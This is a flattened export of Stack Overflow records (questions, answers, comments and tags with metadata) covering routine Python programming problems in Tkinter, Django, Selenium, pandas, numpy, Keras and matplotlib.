has comment: http://stackoverflow.com/comment/84427471
upvote count: 2
has comment: http://stackoverflow.com/comment/84423122
has comment: http://stackoverflow.com/comment/125680912
answers question: http://stackoverflow.com/q/48697643

http://stackoverflow.com/comment/84307446
comment on: http://stackoverflow.com/q/48654661
has text: Your code is doing exactly what you coded it to do. What output is differing from what you expect to see?
type: QuestionComment
type: Comment
score: 2

http://stackoverflow.com/comment/84364940
score: 0
type: AnswerComment
type: Comment
has text: liked yours better @Kasramvd
comment on: http://stackoverflow.com/a/48683855

http://stackoverflow.com/q/48766677
has comment: http://stackoverflow.com/comment/84533504
type: UnansweredQuestion
tagged with: python
upvote count: 0
tagged with: tkinter
has comment: http://stackoverflow.com/comment/84537953
has title: Why isn't a part of the code displayed?
type: Question
has comment: http://stackoverflow.com/comment/84533534
has comment: http://stackoverflow.com/comment/84533536
score: -1
has comment: http://stackoverflow.com/comment/84544442
has comment: http://stackoverflow.com/comment/84533470
has body: There are two parts in the code below. The first part is displaying the image: and the second one is for displaying the Entry details: When I run either parts separately(as separate py scripts) I get the output like above clearly. I wanted to have both in a single window. So, I combined both into a single script, but I don't get the output for the first part. But I get CLI output like below. First part Second part From the above First part of widget not showing, but the second part is fine. I'm kindly asking for someone to clarify it. from Tkinter import * Row = ['Enter the platform :', ' Device IP :', 'Username :', 'Password :', 'GICCI IP :', 'Craft IP :', 'STC IP :', 'STC Port to reserve :'] root = Tk() window1=Frame(root) r = 0 # First Part Nokia_image = PhotoImage(file="C:\\Users\\vkandhav\\Desktop\\PY_IMAGE\\NOKIA.gif") print "First part" Label(window1, image=Nokia_image, width="300", height="70").pack() Button(window1, text="Nokia Performance Automate Tool").pack() # Second Part for c in Row: if c == "Enter the platform :": print "Second part" Label(root, text=c, relief=RIDGE, width=30).grid(row=r, column=0,) if c == "Password :": Entry(root, relief=SUNKEN, show="*", width=40).grid(row=r, column=1) else: Entry(root, relief=SUNKEN, width=40).grid(row=r, column=1) r = r + 1 mainloop()
answer count: 1
downvote count: 1
tagged with: tkinter-entry
has answer: http://stackoverflow.com/a/48771730
has comment: http://stackoverflow.com/comment/84533640
has comment: http://stackoverflow.com/comment/84534945
favorite count: 0

http://stackoverflow.com/q/48734161
answer count: 1
has body: My webpage should display a series of posts(texts) which I call "views". I want the user to be able to click the "update_button" for that view (called v) and be directed to that page. I have included a link below which should do exactly the same thing as the button. The link redirects to the correct page whereas even though the button clearly has the same action as the link it redirects to a totally different page. This behavior is extremely bizarre. If I replace v.pk in the form's action with, let's say, 9 then it will correctly redirect me to the post with primary key 9. However if I replace the hardcoded 9 with v.pk again, and click the button (for the post with pk=9) it will redirect me to the post with pk=7 (the lowest pk of a post that this user can in fact update), but this is the wrong pk, when I place a print(pk) in the view it prints 7 and not 9, so the value being placed in the link is not actually v.pk. To make matters weirder, when I inspect element on the button, I see the CORRECT link. If I cut and paste this link into the address bar I will be redirected to the correct page. It's like the button is broken whilst displaying correctly with inspect element. {% extends "uv/base.html" %} {% block content %} View List {% if view_c_list %} {% for v in view_c_list %} Title: {{v.title}} Author: {{v.author}} Piece: {{v.view_text}} {% if user == v.author %} {% csrf_token %} {% csrf_token %} Update {% endif %} {% endfor %} {% else %} That's all folks. {% endif %} {% endblock %} urls.py from django.urls import path from django.conf.urls import url from django.contrib import admin from django.contrib.auth import views as auth_views from . import views app_name = 'uv' urlpatterns = [ path('view_leaderboards/',views.view_leaderboards,name='view_leaderboards'), path('view/<int:pk>/add_review/',views.add_review,name="add_review"), path('view/<int:pk>/update_substars/',views.update_substars,name='update_substars'), path('profile/',views.home, name = 'home'), path('logi…
score: 0
has comment: http://stackoverflow.com/comment/84467637
has comment: http://stackoverflow.com/comment/84492294
tagged with: django-templates
type: UnansweredQuestion
tagged with: django
tagged with: python
has answer: http://stackoverflow.com/a/48760032
tagged with: django-views
has title: Django button redirection errors
has comment: http://stackoverflow.com/comment/84470798
type: Question

http://stackoverflow.com/comment/84473605
type: QuestionComment
comment on: http://stackoverflow.com/q/48736697
score: 0
has text: @Allen: You could use @jp_data_analysis's idea (`def renamer...`) and then do `df.pipe(renamer)` -- similar to what tomaugspurger does in the blog.
type: Comment

http://stackoverflow.com/a/48744187
has comment: http://stackoverflow.com/comment/84779141
accepted answer of: http://stackoverflow.com/q/48742235
answers question: http://stackoverflow.com/q/48742235
type: Answer
upvote count: 4
downvote count: 0
has body: The error you are seeing gives us some hint as follows : WebDriverException Traceback (most recent call last) &lt;ipython-input-36-6bcc3a6d3d05&gt; in &lt;module&gt;() ----&gt; 1 driver.get('https://google.com') Here are some observations and remedies : First of all, I would like you to look back at the exact absolute path of the ChromeDriver binary and my guess is instead of : /Users/Users/Downloads/chromedriver_win32/chromedriver It should have been : /Users/Downloads/chromedriver_win32/chromedriver Moreover, a better way to pass the location of the ChromeDriver binary would be to pass the argument executable_path along as well, so the line would be : driver = webdriver.Chrome(executable_path=r'/Users/Users/Downloads/chromedriver_win32/chromedriver') Finally, whenever you invoke get() method to open an URL try to pass the Fully Qualified Domain Name (FQDN) as follows : driver.get('https://www.google.co.in')
score: 4
type: AcceptedAnswer

http://stackoverflow.com/comment/84438163
comment on: http://stackoverflow.com/q/48719540
has text: Updated, with code.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48679698
has title: Django app not being served with Python3.5 and httpd
type: Question
tagged with: server
tagged with: apache
has body: I have a Django app hosted on: Server version: Apache/2.4.6 (CentOS) Server built: Oct 19 2017 20:39:16 here's my django.conf file: Alias /static /home/faizan/myproject/static Require all granted Require all granted WSGIDaemonProcess myproject python-path=/home/faizan/myproject:/home/faizan/myproject/myprojectenv/lib/python3.5/site-packages WSGIProcessGroup myproject WSGIScriptAlias / /home/faizan/myproject/myproject/wsgi.py My application was working when I had python 2.7 installed in my virtual environment and had django.conf like this: Alias /static /home/faizan/myproject/static Require all granted Require all granted WSGIDaemonProcess myproject python-path=/home/faizan/myproject:/home/faizan/myproject/myprojectenv/lib/python2.7/site-packages WSGIProcessGroup myproject WSGIScriptAlias / /home/faizan/myproject/myproject/wsgi.py
score: 0
has answer: http://stackoverflow.com/a/48680006
answer count: 1
tagged with: python-3.x
linked to: http://stackoverflow.com/q/38256266
type: UnansweredQuestion
tagged with: django
tagged with: python

supervised-learning
type: Tag
tag name: supervised-learning
tags question: http://stackoverflow.com/q/48762286
tags question: http://stackoverflow.com/q/48787643

http://stackoverflow.com/a/48700576
score: 4
upvote count: 4
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/48700404
has comment: http://stackoverflow.com/comment/133600246
accepted answer of: http://stackoverflow.com/q/48700404
type: Answer
has body: Found it. I had to edit the nginx.conf: Within http: log_format structured '{"remote_addr": "$remote_addr", "remote_user": "$remote_user", "request": "$request", "status": $status, "body_bytes_sent": $body_bytes_sent, "http_referer": "$http_referer", "http_user_agent": "$http_user_agent"}'; and within http &gt; server: access_log /dev/stdout structured; See http://nginx.org/en/docs/http/ngx_http_log_module.html Now the messages look like this: { "remote_addr": "10.32.0.2", "remote_user": "-", "request": "GET /ping HTTP/1.1", "status": 200, "body_bytes_sent": 1, "http_referer": "-", "http_user_agent": "AHC/2.0" } Still TODO It would be nice if the request was {"method": "GET", "endpoint": "/ping", "protocol": "HTTP/1.1"}

http://stackoverflow.com/comment/84527507
type: Comment
has text: my openDashboard() doesnot hide/show SETTINGS. That is the problem. my first transition from login to dashboard is happening but from dashboard to settings is not happening. can you plz let me know why or how to make this happen?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48763101

http://stackoverflow.com/comment/127256984
type: AnswerComment
score: 0
type: Comment
has text: `ssl_ca` did not work for me, but this did: https://stackoverflow.com/a/14992181/
comment on: http://stackoverflow.com/a/48851490

http://stackoverflow.com/a/49665568
upvote count: 2
type: Answer
answers question: http://stackoverflow.com/q/48750199
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/86952476
has body: Find the Python3 pid and kill the pid. Please see the below image Note: kill only python3(pid=130) not jupyter python(122).
has comment: http://stackoverflow.com/comment/86394894

http://stackoverflow.com/q/48709834
has comment: http://stackoverflow.com/comment/84418680
linked to: http://stackoverflow.com/q/1340223
has comment: http://stackoverflow.com/comment/84418772
favorite count: 0
tagged with: geometry
upvote count: 2
type: UnansweredQuestion
has title: Point in Spherical Polygon using Python
tagged with: python
score: 2
has comment: http://stackoverflow.com/comment/84424172
answer count: 0
linked to: http://stackoverflow.com/q/11510326
duplicate of: http://stackoverflow.com/q/1340223
type: Question
tagged with: 3d
downvote count: 0
has body: How can I find if a point lays inside a polygon on a sphere using python? I know that unlike a planar polygon, a spherical polygon doesn't have a natural "inside" because both the inside and the outside have finite areas. So most codes ask that the user also define a point inside the polygon. I would like to find a way to do this without asking my users for a point inside the polygon. Thanks

http://stackoverflow.com/comment/84507337
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48753255
has text: It means that you're trying to access a list position that doesn't exist, i.e. if the list has five items but you try to access the sixth one.
score: 0

http://stackoverflow.com/comment/84688090
type: QuestionComment
comment on: http://stackoverflow.com/q/48787207
has text: Dear @Todor, I applied your recommendation for `json` for both `body` and `header` sections; but I still get the status code of `415`.
score: 0
type: Comment

http://stackoverflow.com/q/48693933
favorite count: 0
has answer: http://stackoverflow.com/a/48694305
type: UnansweredQuestion
has title: Pandas, use apply method?
upvote count: 1
tagged with: python
score: 1
has comment: http://stackoverflow.com/comment/84386488
has body: I have an excel file that looks like this: A B C D E F G run_1_clust_1.out: GLU 2 HN 2.07 3851 -0.90 GLY 1 HN 2.09 3196 -0.90 3 HN 2.05 3553 -0.90 HT1 2.12 2828 -0.91 HT2 2.05 3516 -0.90 run_1_clust_2.out: GLU 2 HN 2.12 1940 -0.90 GLY 1 HN 2.33 4030 -0.90 3 HN 2.43 3994 -0.90 HT1 2.11 2833 -0.91 HT2 2.05 3242 -0.90 I would like to group the columns E, F and G by columns B, C and D. For an output that looks like this: run_1_clust_1.out: GLY 1 HN 2.09 3196 -0.90 run_1_clust_2.out: GLY 1 HN 2.33 4030 -0.90 run_1_clust_1.out: GLU 2 HN 2.07 3851 -0.90 run_1_clust_2.out: GLU 2 HN 2.12 1940 -0.90 run_1_clust_1.out: GLY 3 HN 2.05 3553 -0.90 run_1_clust_2.out: GLY 3 HN 2.43 3994 -0.90 run_1_clust_1.out: GLY 3 HT1 2.12 2828 -0.91 .... I'm using pandas, but I'm not sure why I get the AttributeError telling me to use the 'apply' method. import pandas as pd writer = pd.ExcelWriter('output.xlsx', engine='xlsxwriter') xl = pd.ExcelFile('test.xlsx') df = xl.parse("Sheet1") df.columns = df'a','b','c','d','e','f','g' df = df.groupby(['b','c','d']) df.to_excel(writer, sheet_name="Sheet1") writer.save()
type: Question
tagged with: pandas-groupby
tagged with: pandas
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/84386482

http://stackoverflow.com/a/48771503
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/84545064
has body: Using the latest pandas and xlrd this works fine to read the "weather.xlsx" file you provided: df1 = pd.read_excel('weather.xlsx',sheet_name='Sheet1') Can you try running: pip install --upgrade pandas pip install --upgrade xlrd To ensure you have the latest version of the modules for reading the file?
score: 2
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48771169
upvote count: 2
answers question: http://stackoverflow.com/q/48771169

http://stackoverflow.com/comment/84546518
score: 0
type: Comment
type: QuestionComment
has text: Could you share the entire code? It's worth noting that your program did not fail on one of the lines you've shown us.
comment on: http://stackoverflow.com/q/48772111

http://stackoverflow.com/q/48772221
upvote count: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/48772294
has comment: http://stackoverflow.com/comment/84546201
favorite count: 0
tagged with: spyder
tagged with: python
tagged with: jupyter-notebook
has body: I'm new to programming and now taking the course MIT 6.0001. On problem set 2, they set a .py file, accompanied with a .txt file. I ran .py file in Spyder with no difficulties (.txt file embedded just fine). But when I run .py file in Jupyter, things won't run (as in screenshot). I want to use Jupyter because it's much clearer than Spyder, and can give headers to cells to keep myself on track. Please help me to run things in Jupyter. Here are link to the problem set (ZIP file) File not running in Jupyter
downvote count: 2
has answer: http://stackoverflow.com/a/48772294
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/21034373
score: -2
has title: Downloaded .py file not working in Jupyter
type: Question

http://stackoverflow.com/comment/84303908
comment on: http://stackoverflow.com/q/48652701
score: 0
has text: A big advantage to using some sort of dispatch table rules system is that you'd be able to store item attributes in a json file so you're not hardcoding this stuff.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84463485
type: Comment
comment on: http://stackoverflow.com/a/48711269
type: AnswerComment
has text: You're welcome. I suggest you create your own answer and accept it so others will know that the question is answered and resolved.
score: 0

http://stackoverflow.com/q/48675333
has title: Python - Click somewhere when the img pop up
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84349572
has body: I would like to write a program about the image may popup any time, and the action is to close the image, not to click the image. I have some idea about the code, but not successful: (image NOT popup, but still wait for 1 sec and to click top right conner ..) import pyautogui, time while ture: pyautogui.click(pyautogui.center(pyautogui.locateOnScreen(r'C:\Users\Lawrence\Desktop\PyTest\image.png'))) time.sleep(1) #I want to check image every sec break pyautogui.click(1880,15) # after checking the screen for every sec, the image popup, and click top right conner to close it, finish Do you have any idea? Thank you
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84349563
tagged with: pyautogui
has comment: http://stackoverflow.com/comment/84349406
accepted answer: http://stackoverflow.com/a/48675507
has comment: http://stackoverflow.com/comment/84349248
upvote count: 1
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/84349531
has answer: http://stackoverflow.com/a/48675507
has comment: http://stackoverflow.com/comment/84349476
tagged with: python
has comment: http://stackoverflow.com/comment/84349332

http://stackoverflow.com/q/48683676
accepted answer: http://stackoverflow.com/a/48683800
tagged with: python
has answer: http://stackoverflow.com/a/48683845
answer count: 4
type: AnsweredQuestion
upvote count: 3
has comment: http://stackoverflow.com/comment/84364493
possible better answer: http://stackoverflow.com/a/48683832
has answer: http://stackoverflow.com/a/48683855
has body: New to python.I have a text file which looks something like this: 1 4 -69 -64 1 5 -57 -56 1 6 -59 -56 1 7 -69 -61 1 8 -53 -53 1 9 -69 -62 1 10 -65 -58 1 11 -69 -58 Want to convert it to a array using numpy which shows output something like this: [[ 1 4 -69 -64 ] [ 1 5 -57 -56 ] [ 1 6 -59 -56 ] [ 1 7 -69 -61 ] [ 1 8 -53 -53 ] [ 1 9 -69 -62 ] [ 1 10 -65 -58 ] [ 1 11 -69 -58 ]] Tried with numpy.array but could'nt get the desired output. Hopefully, that makes some sense :) Thanks so much! Any help is greatly appreciated!
downvote count: 1
has answer: http://stackoverflow.com/a/48683832
type: Question
has comment: http://stackoverflow.com/comment/84364618
has answer: http://stackoverflow.com/a/48683800
has title: Convert Text file to Array
tagged with: numpy
score: 2
tagged with: arrays
favorite count: 0

http://stackoverflow.com/comment/84441753
comment on: http://stackoverflow.com/a/48721448
score: 0
type: Comment
has text: I did ans = time[:] still I get the same 14:44 answer!!
type: AnswerComment

http://stackoverflow.com/comment/84297883
type: Comment
comment on: http://stackoverflow.com/a/48649842
score: 1
type: AnswerComment
has text: @DuckQueen: Depends on what you want to generalize it to (and before you ask, generalizing it to lists doesn't make sense). I suggest doing some background reading on lists and streams first, and then posting a new question if you still have something to ask by the end of that.

http://stackoverflow.com/a/48809602
score: 0
type: Answer
answers question: http://stackoverflow.com/q/48694522
has body: rpm uses getpass(3) which reopens /dev/tty. There are 2 approaches to automating: 1) create a pseudotty 2) (linux) find the reopened file descriptor in /proc If scripting, expect(1) has (or had) a short example with pseudotty's that can be used.

http://stackoverflow.com/comment/138347404
score: 0
has text: That is not true. User token is only needed when you seach library or want to modify user stuff.
type: AnswerComment
comment on: http://stackoverflow.com/a/60870849
type: Comment

bing-maps
tags question: http://stackoverflow.com/q/48771033
type: Tag
tag name: bing-maps

http://stackoverflow.com/comment/84537852
type: Comment
has text: Nope didn't worked. I don't understand why so hard to convert a json file.
comment on: http://stackoverflow.com/a/48767315
type: AnswerComment
score: 0

http://stackoverflow.com/q/48759663
type: Question
has title: Can you program a custom learning rate scheduler in Keras?
tagged with: python
score: 4
has body: I know the learning rate can be adjusted in Keras, but all the options seem to only include some decay or decreasing learning rate. I am wondering if it's possible to create a custom schedule that works like ReduceLROnPlateau, where it is looking to see if the loss stops decreasing for some number of epochs, and if so then it decreases the LR. But after some number of "decreases" it then increases the learning rate the next time loss stagnates, and then continues decreasing again on loss stagnation after that. My thought here is that you may descend into a local minimum that you may not be able to escape from unless you increase the learning rate, before continuing to descend to the global minimum. Does it make sense to create a function for learning rate? Would Keras accept that? Can anyone give me an idea on how I would write that function?
answer count: 1
upvote count: 4
has answer: http://stackoverflow.com/a/48767057
type: UnansweredQuestion
downvote count: 0
tagged with: keras
favorite count: 0
tagged with: python-3.x

http://stackoverflow.com/a/48730115
upvote count: 2
answers question: http://stackoverflow.com/q/48730030
has body: Numpy's bincount returns the populations of individual bins. However, if some bins are empty, the corresponding value will be zero, thus the division by np.bincount(dig) will fail. A quick fix would be sol = np.bincount(dig, data) / np.array([max(1, v) for v in np.bincount(dig)]) i.e., to divide by 1 instead of 0 for such bins since in this case we know that the bin is empty and thus the corresponding value in np.bincount(dig, data) is also zero (however, this would depend on how you want to interpret the mean of an empty bin). This will give: [ 0. -45.5 2. 3. 5.5 8. 65.5] The first element here is not phony, but it corresponds to the zero bin index which would aggregate data smaller than min(bin_s). However, since this number is in your case -np.inf, there are no such data. But it might happen that even some intermediary bins turn out to be empty. For example if you take as the input data: data = np.array([-90,-1,2,3,10,121]) Then np.bincount returns [0 2 1 1 0 0 2], so one needs to handle the other zeros as well, not only disregard the first element... Also, you might consider binned_statistic provided by scipy which does this directly: import numpy as np from scipy.stats import binned_statistic as bstat data = np.array([-90,-1,2,3,5,6,8,10,121]) stat = bstat(data, data, statistic = 'mean', bins = [-np.inf, 1, 3, 5, 8, 9, +np.inf]) print(stat[0])
downvote count: 0
type: Answer
score: 2

http://stackoverflow.com/q/48734227
has comment: http://stackoverflow.com/comment/84468434
has comment: http://stackoverflow.com/comment/84470214
has comment: http://stackoverflow.com/comment/84467782
has comment: http://stackoverflow.com/comment/84467720
type: UnansweredQuestion
tagged with: django
tagged with: python
has body: I have deployed two Django sites using Apache2, that can can be access through these links given bellow http://93.188.167.63/cholera/ http://93.188.167.63:8080/pep_learn/ This is my "000-default.conf" file. # The ServerName directive sets the request scheme, hostname and port that # the server uses to identify itself. This is used when creating # redirection URLs. In the context of virtual hosts, the ServerName # specifies what hostname must appear in the request's Host: header to # match this virtual host. For the default virtual host (this file) this # value is not decisive as it is used as a last resort host regardless. # However, you must set it for any further virtual host explicitly. #ServerName www.example.com Alias /static /home/myproject/DATAPLO/static Require all granted Require all granted WSGIDaemonProcess myproject python-path=/home/myproject:/home/myproject/myprojectenv/lib/python2.7/site-packages WSGIProcessGroup myproject WSGIScriptAlias / /home/myproject/trytable/wsgi.py ServerAdmin webmaster@localhost DocumentRoot /var/www/html # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, # error, crit, alert, emerg. # It is also possible to configure the loglevel for particular # modules, e.g. #LogLevel info ssl:warn ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined # For most configuration files from conf-available/, which are # enabled or disabled at a global level, it is possible to # include a line for only one particular virtual host. For example the # following line enables the CGI configuration for this host only # after it has been globally disabled with "a2disconf". #Include conf-available/serve-cgi-bin.conf Listen 8080 Alias /static /home/pep_web/protocol/static Require all granted Require all granted WSGIDaemonProcess pep_web python-path=/home/pep_web:/usr/lib/python2.7/dist-packages WSGIProcessGroup pep_web WSGIScriptAlias /pep_learn /home/pep_web/pep_learn/wsgi.py ServerAdmin webmaster@local…
answer count: 0
has comment: http://stackoverflow.com/comment/84467851
type: Question
has title: How to configure domain name in apache2 server?
has comment: http://stackoverflow.com/comment/84467884
tagged with: apache
tagged with: django-models
score: 0

http://stackoverflow.com/a/49049037
type: Answer
answers question: http://stackoverflow.com/q/48803562
score: 0
has body: Maybe you should just check if a string with that declaration value ( ) can be found in your XML file: def matchLine(path, line_number, text): """ path = used for defining the file to be checked line_number = used to identify the line that will be checked text = string containing the text to match """ file = open(path) line_file = file.readline() line_file = line_file.rstrip() line_no = 1 while line_file != "": if line_no == line_number: if line_file == text: return True else: return False line_no = line_no+1 line_file = file.readline() line_file = line_file.rstrip()

http://stackoverflow.com/q/48773282
has comment: http://stackoverflow.com/comment/84550253
answer count: 1
tagged with: multithreading
has answer: http://stackoverflow.com/a/48776227
tagged with: python
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/39322677
score: 0
has body: I'd like to access the "gs" variable here in each process. How do I reference the initargs from the process? # file exec.py import time import os import random def f(letter): sleep_time = random.randint(3, 20) pid = os.getppid() g_id = # gs.pop() (how to access gs?) print('-------\nsleep: {}\npid: {}\nletter: {}'.format(sleep_time, pid, letter)) time.sleep(sleep_time) print('===========\n{} ended\n==========='.format(letter)) # gs.add(g_id) (return g_id so it can be used by others) return letter This is the main file: from multiprocessing import Pool, TimeoutError, Array # file main.py if __name__ == '__main__': gs = Array('B', [66, 67, 68, 69], lock=False) pool = Pool(processes=4, initargs=(gs, )) hopts = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h'] pool.map(f, hopts)
type: Question
tagged with: python-multiprocessing
tagged with: multiprocessing
has title: How to get multiprocessing Array in python process
accepted answer: http://stackoverflow.com/a/48776227

http://stackoverflow.com/comment/84480049
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/48740188
has text: Could you please post actual Python data structure literals (e.g. what does the semicolon in the dict?). Your `a` dict has duplicate keys and one can't c'n'p this code.

http://stackoverflow.com/q/48745222
has answer: http://stackoverflow.com/a/48745638
score: 4
has comment: http://stackoverflow.com/comment/84490907
possible better answer: http://stackoverflow.com/a/48762698
has title: produce a random subset of all permutations
tagged with: permutation
favorite count: 0
has comment: http://stackoverflow.com/comment/84491152
linked to: http://stackoverflow.com/q/12581437
has comment: http://stackoverflow.com/comment/84491149
tagged with: python
upvote count: 4
accepted answer: http://stackoverflow.com/a/48745476
has answer: http://stackoverflow.com/a/48746322
answer count: 4
has body: I'm looking for a way to randomly sample a fixed length subset of all permutations. import itertools from random import shuffle mylist = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T'] APPROACH A Approach A below suffers from the problem that the permutations are too similar. a_pre = itertools.permutations(mylist,20) a = itertools.islice(a_pre,3) list(a) ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T'] ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'T', 'S'] ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'S', 'R', 'T'] APPROACH B Approach B gets me closer to my desired outcome, but here there's always a risk of producing identical ordering between lists, so this approach is not feasible. #repeat n=3 times shuffle(mylist) print(mylist) ['J', 'B', 'M', 'A', 'O', 'C', 'K', 'S', 'H', 'Q', 'N', 'T', 'R', 'D', 'G', 'P', 'I', 'E', 'F', 'L'] ['R', 'O', 'C', 'I', 'G', 'E', 'Q', 'L', 'P', 'J', 'F', 'N', 'A', 'B', 'H', 'T', 'D', 'K', 'M', 'S'] ['L', 'O', 'I', 'G', 'B', 'E', 'R', 'A', 'D', 'N', 'J', 'S', 'H', 'F', 'K', 'M', 'Q', 'T', 'C', 'P']
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/48745476
type: Question
linked to: http://stackoverflow.com/q/48580361
tagged with: python-itertools
has answer: http://stackoverflow.com/a/48762698

http://stackoverflow.com/comment/84810742
comment on: http://stackoverflow.com/q/48741684
type: Comment
score: 0
has text: @Thomas Sorry, you are right. I mean matrix multiplication
type: QuestionComment

http://stackoverflow.com/comment/84422019
score: 0
type: QuestionComment
type: Comment
has text: I didn't went trough all your question. But if you want to do anything in parallel you can try these 2 ways: 1 use [dask](https://dask.pydata.org/en/latest/) 2 `list(df.groupby('col'))` and using `multiprocessing` to get the result from every group.
comment on: http://stackoverflow.com/q/48711170

http://stackoverflow.com/q/48783304
has comment: http://stackoverflow.com/comment/84568283
has answer: http://stackoverflow.com/a/49876592
has answer: http://stackoverflow.com/a/48783539
answer count: 3
upvote count: 0
has answer: http://stackoverflow.com/a/48783939
favorite count: 0
tagged with: python-3.x
has title: How to resolve the memory error in python
type: UnansweredQuestion
has body: I have 2gb of csv files to be loaded into python and then concatenate them After the concat it is throwing a memory error Can anyone help me on how to solve this issue because I have to use this dataframe quiet often
has comment: http://stackoverflow.com/comment/84568034
score: -3
tagged with: python
has comment: http://stackoverflow.com/comment/84568352
downvote count: 3
type: Question
has comment: http://stackoverflow.com/comment/84568227
has comment: http://stackoverflow.com/comment/84568197
tagged with: ipython

http://stackoverflow.com/q/48794269
tagged with: loops
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/84618458
has comment: http://stackoverflow.com/comment/84618617
has comment: http://stackoverflow.com/comment/84618955
tagged with: list-comprehension
has comment: http://stackoverflow.com/comment/84595763
upvote count: 2
possible better answer: http://stackoverflow.com/a/48809452
has comment: http://stackoverflow.com/comment/84618001
has answer: http://stackoverflow.com/a/48808359
accepted answer: http://stackoverflow.com/a/48808359
has answer: http://stackoverflow.com/a/48809452
has title: Making a list of values from a loop
downvote count: 1
favorite count: 0
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84618871
has comment: http://stackoverflow.com/comment/84619002
tagged with: python
has body: I'm making a program as practice that would set a random number up to 400 for N, and a counter named K would be increased by one each time. At the end, I would like it to make a list of all of the values that were assigned to N. Does anyone know how to do this? import random separateur = "============================================================" def Compteur_bulletins(): K = 0 N = 36 while N &gt;= 36: N = random.randint(1,400) K += 1 print("Nombre de bulletins au-dessus ou egal a 36: ", K) print("Valeure de 'N': ", N, "\n") print(separateur, "\n") return K, N for x in range(10): Compteur_bulletins()
type: AnsweredQuestion
tagged with: numbers
score: 1
has comment: http://stackoverflow.com/comment/84595837

http://stackoverflow.com/q/48675320
has comment: http://stackoverflow.com/comment/84349176
answer count: 1
tagged with: figure
favorite count: 0
has answer: http://stackoverflow.com/a/48677244
accepted answer: http://stackoverflow.com/a/48677244
tagged with: python
has comment: http://stackoverflow.com/comment/84352551
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/84349240
tagged with: plot
has comment: http://stackoverflow.com/comment/84352685
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84349298
tagged with: matplotlib
linked to: http://stackoverflow.com/q/6916978
has title: Matplotlib: plotting on old plot
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/84349320
has body: After review this question (How do I tell Matplotlib to create a second (new) plot, then later plot on the old one?) I thought I had figured this out, but I think I'm running into an issue with my for loops. Here is a pared down version of what I'm doing. import matplotlib.pyplot as plt import numpy as np for m in range(2): x=np.arange(5) y=np.exp(m*x) plt.figure(1) plt.plot(x, y) plt.show() ... z=np.sin(x+(m*math.pi)) plt.figure(2) plt.plot(x,z) ... plt.figure(2) plt.show() My hope was that this would display three plots: a plot for e^(0) vs x the first time through, a plot of e^x vs x the second time through, and then one plot with both sin(x) and sin(x+pi) vs x. But instead I get the first two plots and a plot with just sin(x) and plot with just sin(x+pi). How do I get all the data I want on to figure 2? It seems to be some sort of issue with the set figure resetting when I return to the beginning of the loop.
has comment: http://stackoverflow.com/comment/84352935

http://stackoverflow.com/comment/84439709
type: Comment
has text: Sorry, the requested URL 'http://localhost:8080/getlocation?postcode=4000' caused an error: Not found: '/getlocation'
comment on: http://stackoverflow.com/a/48720270
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84509931
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48754179
score: 1
has text: I'm not sure your question is very clear. Do you want a graph with just 2 points on it? What is "religious" and "non-religious"? How do you select the pairs? Do you want every possible pairs of values?

http://stackoverflow.com/q/48799825
tagged with: python
tagged with: readlines
type: UnansweredQuestion
tagged with: file
has comment: http://stackoverflow.com/comment/84602446
has title: take a line from a file and change it by what is the beginning of the line
has comment: http://stackoverflow.com/comment/84602438
tagged with: if-statement
has comment: http://stackoverflow.com/comment/84602498
has comment: http://stackoverflow.com/comment/84602453
has body: So I want to look in the file something and when I read a line that begins with # I want to print something in the front of the line and in the end of it. file = open("something.py","r") infile = file.readlines() for line in infile: if line.find("#") !=-1: index = line.find("#") print("BLABLABLA",the line that begins with #,"BLABLABLA", end="")
has answer: http://stackoverflow.com/a/48801997
type: Question
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/84602445
tagged with: statements
has answer: http://stackoverflow.com/a/48802109

http://stackoverflow.com/comment/84418268
type: Comment
comment on: http://stackoverflow.com/a/48698501
has text: Thanks a lot, I will try it out! I have more idea I want to explore: I will fork into two processes - one using the library and redirecting all output to a file, and the second interacting with the user through curses. Then communicate between these over a pipe.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84502283
has text: I tried both "sess.run(kl_term)" and "kl_term.eval()", they both give errors.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48750650

http://stackoverflow.com/comment/84511137
comment on: http://stackoverflow.com/q/48754915
score: 0
type: Comment
type: QuestionComment
has text: You can also use `df.iterrows()` for iterating through rows.

selenium
tags question: http://stackoverflow.com/q/48723397
tags question: http://stackoverflow.com/q/48752529
tags question: http://stackoverflow.com/q/48768826
tags question: http://stackoverflow.com/q/48726740
tags question: http://stackoverflow.com/q/48679318
